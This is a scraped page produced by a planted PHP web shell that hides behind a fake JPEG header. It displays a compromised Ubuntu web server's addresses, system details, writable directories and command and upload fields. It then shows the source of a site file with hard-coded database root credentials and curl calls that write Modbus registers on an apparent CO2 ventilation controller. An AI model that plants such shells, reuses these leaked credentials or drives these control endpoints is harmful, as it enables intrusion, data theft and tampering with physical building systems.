????JFIF??x?x????'403WebShell
403Webshell
Server IP : 79.136.114.73  /  Your IP : 52.14.125.232
Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f
System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/appsrv.astacus.se/ecoguard/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/appsrv.astacus.se/ecoguard/index_co2.php
<?php
	$link = mysql_connect ("localhost", "root", "root123");
	mysql_select_db ("energicontrol");

		$sensor_04004991 = 0;
		$sensor_04005000 = 0;
		$sql = "SELECT * FROM tblEcoguard WHERE SensorType = 'CO2' AND SensorName = '04004991' ORDER BY Time DESC LIMIT 1;";
		$res = mysql_query($sql);
		
		while ($row = mysql_fetch_assoc($res)){
			$sensor_04004991 = $row['Value'];
			$t_04004991 = $row['Time'];	
		}

		$sql = "SELECT * FROM tblEcoguard WHERE SensorType = 'CO2' AND SensorName = '04005000' ORDER BY Time DESC LIMIT 1;";
		$res = mysql_query($sql);
		
		while ($row = mysql_fetch_assoc($res)){
			$sensor_04005000 = $row['Value'];
			$t_04005000 = $row['Time'];
		}
			
		$Average = ($sensor_04004991 + $sensor_04005000)/2;

		echo("Sensor 04004991: ($t_04004991) ".$sensor_04004991." ppm <br>");
		echo("Sensor 04005000: ($t_04005000) ".$sensor_04005000." ppm <br>");
		echo("Sensor average: ".$Average." ppm <br>");
		
		if($Average  > 600 && $Average < 700){
			echo("> 600");
			$value1 = 0.25;
			$value2 = 0.26;
		}else if($Average  > 700 && $Average < 800){
			echo("> 700");
			$value1 = 0.28;
			$value2 = 0.29;
		}else if($Average  > 800  && $Average < 900){
			echo("> 800");
			$value1 = 0.30;
			$value2 = 0.31;
		}else if($Average  > 900){
			echo("> 900");
			$value1 = 0.40;
			$value2 = 0.41;
		}else{
			echo("< 600");
			$value1 = 0.20;
			$value2 = 0.21;
		}

		exec('curl -X POST http://88.131.253.147:8080/modbus/modbus-tcp-client/examples/get_register.php', $output, $retval);

		if($output < 0.45){
			exec('curl -d "value='.$value1.'&address=4" -X POST http://88.131.253.147:8080/modbus/modbus-tcp-client/examples/update_register_external.php', $output, $retval);
			sleep(1);
			exec('curl -d "value='.$value2.'&address=5" -X POST http://88.131.253.147:8080/modbus/modbus-tcp-client/examples/update_register_external.php', $output, $retval);
		}

			
	
		
		
?>

Youez - 2016 - github.com/yon3zu
LinuXploit